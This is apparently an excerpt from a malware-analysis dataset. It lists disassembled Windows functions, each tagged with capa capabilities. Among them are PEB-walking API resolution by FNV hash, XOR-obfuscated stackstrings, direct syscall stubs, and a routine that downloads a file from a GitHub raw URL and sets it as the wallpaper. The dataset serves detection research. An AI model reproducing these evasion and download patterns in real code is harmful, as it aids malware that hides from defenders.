joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006ae90
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x88
mov rax, qword [0x1404446c0]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov r10, qword [0x140445370]
xor r11d, r11d
mov qword [rsp + 0x58], r11
test r10, r10
jne 0x14006b06d
mov rax, qword gs:[0x60]
mov r10d, 0xdf6a51c
mov qword [rsp + 0x98], rbp
mov ebp, r11d
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0xa8], rdi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x80], r12
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x90], rbx
mov r12, qword [rcx + 0x10]
mov rsi, r12
mov qword [rsp + 0x70], r15
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test ebp, ebp
je 0x14006af5c
psrldq xmm0, 8
mov edx, 0x811c9dc5
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
cmp rcx, r8
je 0x14006af54
nop
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r8
jne 0x14006af40
cmp edx, ebp
jne 0x14006b022
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r15, rcx
mov ebx, ecx
shr r15, 0x20
add rbx, r9
cmp rbx, r9
je 0x14006b022
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006b022
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [r14 + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14006afd7
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14006afc0
cmp edx, r10d
je 0x14006afe3
test r8d, r8d
jne 0x14006afa0
jmp 0x14006b022
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r10d, dword [rcx + rdx*4]
add r10, r9
cmp r10, rbx
jbe 0x14006b034
lea rax, [rbx + r15]
cmp r10, rax
jae 0x14006b034
mov ebp, 0x811c9dc5
mov rsi, r12
mov dword [rsp + 0x50], ebp
mov dword [rsp + 0x54], ebp
mov r10, qword [rsp + 0x50]
shr r10, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
jne 0x14006af10
mov r10, r11
mov r15, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov r12, qword [rsp + 0x80]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov qword [0x140445370], r10
movdqa xmm0, xmmword [0x140079910]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x4841485f
mov dword [rsp + 0x44], 0x7d796f5d
mov word [rsp + 0x48], 0x7c
mov byte [rsp + 0x4a], 1
nop word [rax + rax]
lea eax, [r11 + 0xb]
xor byte [rsp + r11 + 0x30], al
inc r11
cmp r11, 0x19
jb 0x14006b0a0
lea rax, [rsp + 0x58]
mov byte [rsp + 0x4a], 0
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call r10
test eax, eax
jne 0x14006b0e9
mov qword [0], 1
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14006dd50
add rsp, 0x88
ret
Function at 0x14006e5f4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006e63e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006e63e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006e63e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006e63e
cmp dword [rcx + 0x84], 0xe
jbe 0x14006e63e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006e640
xor al, al
add rsp, 0x28
ret
Function at 0x1400011c0
Capabilities:
Change the wallpaper
Download url
Query environment variable
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0xf
mov ecx, 0x40
call fcn.140001700
mov rcx, rax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x20], 0x3b
mov qword [rbp - 0x18], 0x3f
movups xmm0, xmmword [str.https:__raw.githubusercontent.com_Cathermoni_123_main_1.jpg]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140003390]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400033a0]
movups xmmword [rax + 0x20], xmm0
movsd xmm0, qword [0x1400033b0]
movsd qword [rax + 0x30], xmm0
movzx eax, word [0x1400033b8]
mov word [rcx + 0x38], ax
movzx eax, byte [0x1400033ba]
mov byte [rcx + 0x3a], al
mov byte [rcx + 0x3b], 0
lea rcx, str.appdata
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140001420
nop
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x1400012b0
lea rax, [rcx + 8]
mov qword [rbp - 0x40], rax
lea rax, [rbp - 0x50]
cmp rdx, 0xf
cmova rax, qword [rbp - 0x50]
movabs rdx, 0x67706a2e6965725c
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
jmp 0x1400012c7
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rbp - 0x50]
call fcn.140001540
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r8, qword [rbp - 0x50]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova r8, qword [rbp - 0x50]
xor edx, edx
lea ecx, [rdx + 0x14]
lea r9d, [rdx + 3]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140001353
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000134e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000134e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000173c
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400013a5
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400013a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400013a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000173c
xor eax, eax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400016e0
add rsp, 0x80
pop rbp
ret
Function at 0x140002060
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400020aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400020aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400020aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400020aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400020aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400020ac
xor al, al
add rsp, 0x28
ret
Function at 0x180001e3c
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x18028ce88]
syscall
ret

Function at 0x180001e48
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x18028ce8c]
syscall
ret

Function at 0x180001eee
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x1082
syscall
ret

Function at 0x180001f04
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x1044
syscall
ret

Function at 0x180001f0f
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, 0x1003
syscall
ret
Function at 0x18000ae10
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x18028c2e8]
xor rax, rsp
mov qword [rbp - 8], rax
xor eax, eax
mov dword [rbp - 0x30], 0xf0aca8b7
xor ebx, ebx
mov dword [rbp - 0x2c], 0xa3e8b0f6
mov edx, ebx
mov word [rbp - 0x28], 0xa5a4
mov edi, ecx
mov byte [rbp - 0x26], al
nop
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x40]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18000ae50
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
je 0x18000aedd
movdqa xmm0, xmmword [0x1800da2d0]
xor eax, eax
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0xa], al
mov edx, ebx
mov dword [rbp - 0x10], 0xb2a682a9
mov word [rbp - 0xc], 0xb0a0
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x20]
add rcx, rax
lea eax, [rdx - 0x40]
inc edx
xor byte [rcx], al
cmp edx, 0x16
jb 0x18000aea0
lea rdx, [rbp - 0x20]
mov byte [rbp - 0xa], bl
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18028d598], rax
test rax, rax
jne 0x18000aed7
movzx eax, bx
jmp 0x18000af2b
mov ecx, edi
call rax
jmp 0x18000af2b
xor eax, eax
mov dword [rbp - 0x30], 0xb1a7b2b5
mov byte [rbp - 0x26], al
mov dword [rbp - 0x2c], 0xa3e8f7f7
mov word [rbp - 0x28], 0xa5a4
nop word [rax + rax]
movsxd rax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rbx - 0x40]
inc ebx
xor byte [rcx], al
cmp ebx, 0xa
jb 0x18000af00
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, edi
call fcn.180001f04
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18003d080
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x18000b120
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x18028c2e8]
xor rax, rsp
mov qword [rbp - 8], rax
xor eax, eax
mov dword [rbp - 0x30], 0xf0aca8b7
xor edi, edi
mov dword [rbp - 0x2c], 0xa3e8b0f6
mov edx, edi
mov word [rbp - 0x28], 0xa5a4
mov ebx, ecx
mov byte [rbp - 0x26], al
nop
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x40]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18000b160
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], dil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
mov edx, edi
test rax, rax
je 0x18000b1d5
movdqa xmm0, xmmword [0x1800da440]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0xb5
movsxd rcx, edx
lea eax, [rdx - 0x40]
inc edx
xor byte [rbp + rcx - 0x20], al
cmp edx, 0x11
jb 0x18000b1a1
lea rdx, [rbp - 0x20]
mov byte [rbp - 0xf], dil
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18028d5a8], rax
test rax, rax
je 0x18000b219
mov ecx, ebx
call rax
jmp 0x18000b225
xor eax, eax
mov dword [rbp - 0x30], 0xb1a7b2b5
mov byte [rbp - 0x26], al
mov dword [rbp - 0x2c], 0xa3e8f7f7
mov word [rbp - 0x28], 0xa5a4
nop
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x40]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x18000b1f0
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], dil
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x18000b21e
movzx eax, di
jmp 0x18000b225
mov ecx, ebx
call fcn.180001f0f
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.18003d080
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
add rsp, 0x50
pop rbp
ret
Function at 0x180013840
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x18028c2e8]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor eax, eax
mov dword [rbp - 0x30], 0xf0aca8b7
xor ebx, ebx
mov dword [rbp - 0x2c], 0xa3e8b0f6
mov rsi, rdx
mov word [rbp - 0x28], 0xa5a4
mov edx, ebx
mov byte [rbp - 0x26], al
mov r14d, r8d
mov edi, ecx
movsxd rax, edx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rdx - 0x40]
inc edx
xor byte [rcx], al
cmp edx, 0xa
jb 0x180013881
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], bl
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1800138ff
movdqa xmm0, xmmword [0x1800d9c60]
movdqu xmmword [rbp - 0x20], xmm0
nop word [rax + rax]
movsxd rcx, ebx
lea rdx, [rbp - 0x20]
add rdx, rcx
lea ecx, [rbx - 0x40]
inc ebx
xor byte [rdx], cl
cmp ebx, 0xf
jb 0x1800138c0
lea rdx, [rbp - 0x20]
mov byte [rbp - 0x11], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18028d5a0], rax
test rax, rax
je 0x180013952
mov r8d, r14d
mov rdx, rsi
mov ecx, edi
call rax
jmp 0x180013952
xor eax, eax
mov dword [rbp - 0x30], 0xb1a7b2b5
mov byte [rbp - 0x26], al
mov dword [rbp - 0x2c], 0xa3e8f7f7
mov word [rbp - 0x28], 0xa5a4
nop dword [rax + rax]
movsxd rax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
lea eax, [rbx - 0x40]
inc ebx
xor byte [rcx], al
cmp ebx, 0xa
jb 0x180013920
lea rcx, [rbp - 0x30]
mov byte [rbp - 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, r14d
mov rdx, rsi
mov ecx, edi
call fcn.180001eee
cwde
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.18003d080
add rsp, 0x50
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x18001b9f0
Capabilities:
Hash data with crc32

Disassembly:
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov eax, r10d
test r9b, r9b
je 0x18001ba40
lea r11, [0x1800da5e0]
nop dword [rax]
cmp r9b, 0x23
jne 0x18001ba23
cmp byte [r8], r9b
jne 0x18001ba23
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x18001ba10
mov r11, qword [0x1802916e8]
not eax
movsxd rcx, dword [r11 + 0x1a00]
mov r9, qword [r11 + 0x1a08]
mov r10, rcx
mov rdx, rcx
mov r8, r9
test ecx, ecx
je 0x18001baa8
nop dword [rax]
nop dword [rax + rax]
mov r8, rdx
shr r8, 1
mov rcx, r8
add rcx, rcx
cmp dword [r9 + rcx*8], eax
jae 0x18001ba99
lea r9, [r9 + rcx*8]
mov rcx, 0xffffffffffffffff
sub rcx, r8
add r9, 0x10
add rdx, rcx
jmp 0x18001ba9c
mov rdx, r8
test rdx, rdx
jne 0x18001ba70
mov r8, qword [r11 + 0x1a08]
shl r10, 4
add r10, r8
cmp r9, r10
je 0x18001babe
cmp dword [r9], eax
jne 0x18001babe
mov rax, qword [r9 + 8]
ret
xor eax, eax
ret

Function at 0x18001c520
Capabilities:
Hash data with crc32

Disassembly:
mov rax, qword [rcx + 0xc8]
mov r9, r8
movsxd r8, dword [rcx + 0xc0]
mov r10, rdx
xor ecx, ecx
mov rdx, r9
sub rdx, r10
test r9, r9
mov r8d, dword [rax + r8*4 - 4]
cmove rdx, rcx
mov rcx, r10
jmp fcn.18001ce90

Function at 0x18001cad0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x20
movsxd rbp, r9d
mov r14, r8
test r8, r8
je 0x18001caeb
mov qword [r8], 0
call fcn.18001cc30
mov rbx, rax
test rax, rax
jne 0x18001cb01
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
mov qword [rsp + 0x40], rsi
mov rcx, rbx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r15
call fcn.180049e64
mov esi, eax
cmp eax, 0xffffffff
je 0x18001cc02
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.1800498b0
test eax, eax
jne 0x18001cc02
mov rcx, rbx
call fcn.180049e64
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18001cc02
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1800498b0
test eax, eax
jne 0x18001cc02
cmp rdi, 0xffffffffffffffff
je 0x18001cc02
mov rax, qword [0x1802916e8]
test rax, rax
je 0x18001cb7e
inc dword [rax + 0x3bc]
mov rdx, qword [0x1802916f8]
lea rcx, [rdi + rbp]
call qword [0x18028b310]
mov rsi, rax
test rax, rax
je 0x18001cc02
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.180049598
cmp rax, rdi
je 0x18001cbdb
mov rcx, rbx
call fcn.180048eb4
mov rax, qword [0x1802916e8]
test rax, rax
je 0x18001cbc9
dec dword [rax + 0x3bc]
mov rdx, qword [0x1802916f8]
mov rcx, rsi
call qword [0x18028b318]
jmp 0x18001cc0a
test ebp, ebp
jle 0x18001cbed
lea rcx, [rsi + rdi]
mov r8, rbp
xor edx, edx
call fcn.18003fa60
mov rcx, rbx
call fcn.180048eb4
test r14, r14
je 0x18001cbfd
mov qword [r14], rdi
mov rax, rsi
jmp 0x18001cc0c
mov rcx, rbx
call fcn.180048eb4
xor eax, eax
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rbp
pop rbx
ret
Function at 0x18001ce90
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18001ceed
lea rbx, [0x1800da5e0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x18001ced4
cmp r10, 2
jb 0x18001ced4
cmp byte [r9], r8b
jne 0x18001ced4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x18001ceb0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18001cf2f
lea rbx, [0x1800da5e0]
cmp r8b, 0x23
jne 0x18001cf13
cmp byte [r9], r8b
jne 0x18001cf13
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x18001cf00
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x18001d790
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
xor eax, eax
lea r8, [0x1800dab85]
mov dword [rsp + 0x2c], eax
lea r11, [0x1800da5e0]
mov qword [rsp + 0x48], rax
mov r10d, 0xffffffff
lea rax, str.Window
mov rbx, rcx
mov qword [rsp + 0x20], rax
mov edx, r10d
mov r9b, 0x57
nop
cmp r9b, 0x23
jne 0x18001d7e3
cmp byte [r8], r9b
jne 0x18001d7e3
cmp byte [r8 + 1], r9b
cmove edx, r10d
movzx ecx, dl
movzx eax, r9b
movzx r9d, byte [r8]
xor rcx, rax
shr edx, 8
inc r8
xor edx, dword [r11 + rcx*4]
test r9b, r9b
jne 0x18001d7d0
mov ecx, dword [rbx + 0x2f14]
lea rax, [0x180026da0]
mov edi, dword [rbx + 0x2f10]
not edx
mov qword [rsp + 0x30], rax
lea rax, [0x180026cd0]
mov qword [rsp + 0x38], rax
lea rax, [0x180026e50]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x28], edx
cmp edi, ecx
jne 0x18001d8f3
inc edi
test ecx, ecx
je 0x18001d84f
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x18001d854
mov eax, 8
cmp eax, edi
cmovg edi, eax
cmp edi, ecx
jle 0x18001d8f3
mov rax, qword [0x1802916e8]
mov qword [rsp + 0x60], rsi
test rax, rax
je 0x18001d878
inc dword [rax + 0x3bc]
mov rdx, qword [0x1802916f8]
movsxd rax, edi
lea rcx, [rax + rax*2]
shl rcx, 4
call qword [0x18028b310]
mov rdx, qword [rbx + 0x2f18]
mov rsi, rax
test rdx, rdx
je 0x18001d8e1
movsxd rcx, dword [rbx + 0x2f10]
lea r8, [rcx + rcx*2]
mov rcx, rax
shl r8, 4
call fcn.18003f3b0
mov rcx, qword [rbx + 0x2f18]
test rcx, rcx
je 0x18001d8d4
mov rax, qword [0x1802916e8]
test rax, rax
je 0x18001d8d4
dec dword [rax + 0x3bc]
mov rdx, qword [0x1802916f8]
call qword [0x18028b318]
mov qword [rbx + 0x2f18], rsi
mov rsi, qword [rsp + 0x60]
mov dword [rbx + 0x2f14], edi
movsxd rax, dword [rbx + 0x2f10]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rcx, [rax + rax*2]
mov rax, qword [rbx + 0x2f18]
add rcx, rcx
movups xmmword [rax + rcx*8], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rax + rcx*8 + 0x10], xmm1
movups xmmword [rax + rcx*8 + 0x20], xmm0
inc dword [rbx + 0x2f10]
mov byte [rbx], 1
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x18002a420
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test r9d, 0xff000000
je 0x18002a5b1
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
movss xmm3, dword [rsp + 0x70]
xorps xmm0, xmm0
comiss xmm3, xmm0
mov edi, r9d
mov rsi, r8
mov rbp, rdx
mov rbx, rcx
jbe 0x18002a490
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
call fcn.18002d6f0
mov r8d, dword [rbx + 0x80]
mov r9d, edi
mov rdx, qword [rbx + 0x88]
mov rcx, rbx
call fcn.180027e00
mov dword [rbx + 0x80], 0
jmp 0x18002a59d
mov edx, 6
movaps xmmword [rsp + 0x30], xmm6
lea r8d, [rdx - 2]
call fcn.18002dbd0
movzx edx, word [rbx + 0x4c]
mov rax, qword [rbx + 0x38]
movss xmm1, dword [rsi]
movss xmm2, dword [rbp + 4]
movss xmm3, dword [rbp]
lea ecx, [rdx + 1]
movss xmm6, dword [rax + 4]
movss xmm5, dword [rax]
movss xmm4, dword [rsi + 4]
mov rax, qword [rbx + 0x58]
mov word [rax], dx
mov rax, qword [rbx + 0x58]
mov word [rax + 2], cx
lea ecx, [rdx + 2]
mov rax, qword [rbx + 0x58]
mov word [rax + 4], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 6], dx
add dx, 3
mov rax, qword [rbx + 0x58]
mov word [rax + 8], cx
mov rax, qword [rbx + 0x58]
mov word [rax + 0xa], dx
movsd xmm0, qword [rbp]
mov rax, qword [rbx + 0x50]
movsd qword [rax], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 8], xmm5
movss dword [rax + 0xc], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x10], edi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x14], xmm1
movss dword [rax + 0x18], xmm2
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x1c], xmm5
movss dword [rax + 0x20], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x24], edi
movsd xmm0, qword [rsi]
mov rax, qword [rbx + 0x50]
movsd qword [rax + 0x28], xmm0
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x30], xmm5
movss dword [rax + 0x34], xmm6
mov rax, qword [rbx + 0x50]
mov dword [rax + 0x38], edi
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x3c], xmm3
movss dword [rax + 0x40], xmm4
mov rax, qword [rbx + 0x50]
movss dword [rax + 0x44], xmm5
movss dword [rax + 0x48], xmm6
mov rax, qword [rbx + 0x50]
movaps xmm6, xmmword [rsp + 0x30]
mov dword [rax + 0x4c], edi
add qword [rbx + 0x50], 0x50
add dword [rbx + 0x4c], 4
add qword [rbx + 0x58], 0xc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x180036cb0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x18028c2e8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rdx
mov rbx, rcx
call fcn.18001c550
movdqa xmm0, xmmword [0x1800df140]
xor r9d, r9d
movdqu xmmword [rsp + 0x38], xmm0
mov r8d, r9d
nop dword [rax + rax]
movsxd rdx, r8d
lea ecx, [r8 - 0x62]
inc r8d
xor byte [rsp + rdx + 0x38], cl
cmp r8d, 0xf
jb 0x180036cf0
lea rcx, [rsp + 0x38]
mov qword [rax + 0xd8], rcx
lea r8, [rsp + 0x20]
mov rax, qword [rbx]
lea rdx, [0x1800df0e0]
mov rcx, rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x30], r9
call qword [rax]
test eax, eax
jne 0x180036d87
mov rcx, qword [rsp + 0x20]
lea r8, [rsp + 0x28]
lea rdx, [0x1800df0f0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x180036d87
mov rcx, qword [rsp + 0x28]
lea r8, [rsp + 0x30]
lea rdx, [0x1800df100]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x180036d87
mov rax, qword [rsp + 0x30]
mov qword [0x180291758], rax
mov qword [0x180291748], rbx
mov qword [0x180291750], rdi
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x180036d97
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x180036da7
mov rax, qword [rcx]
call qword [rax + 0x10]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18003d080
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret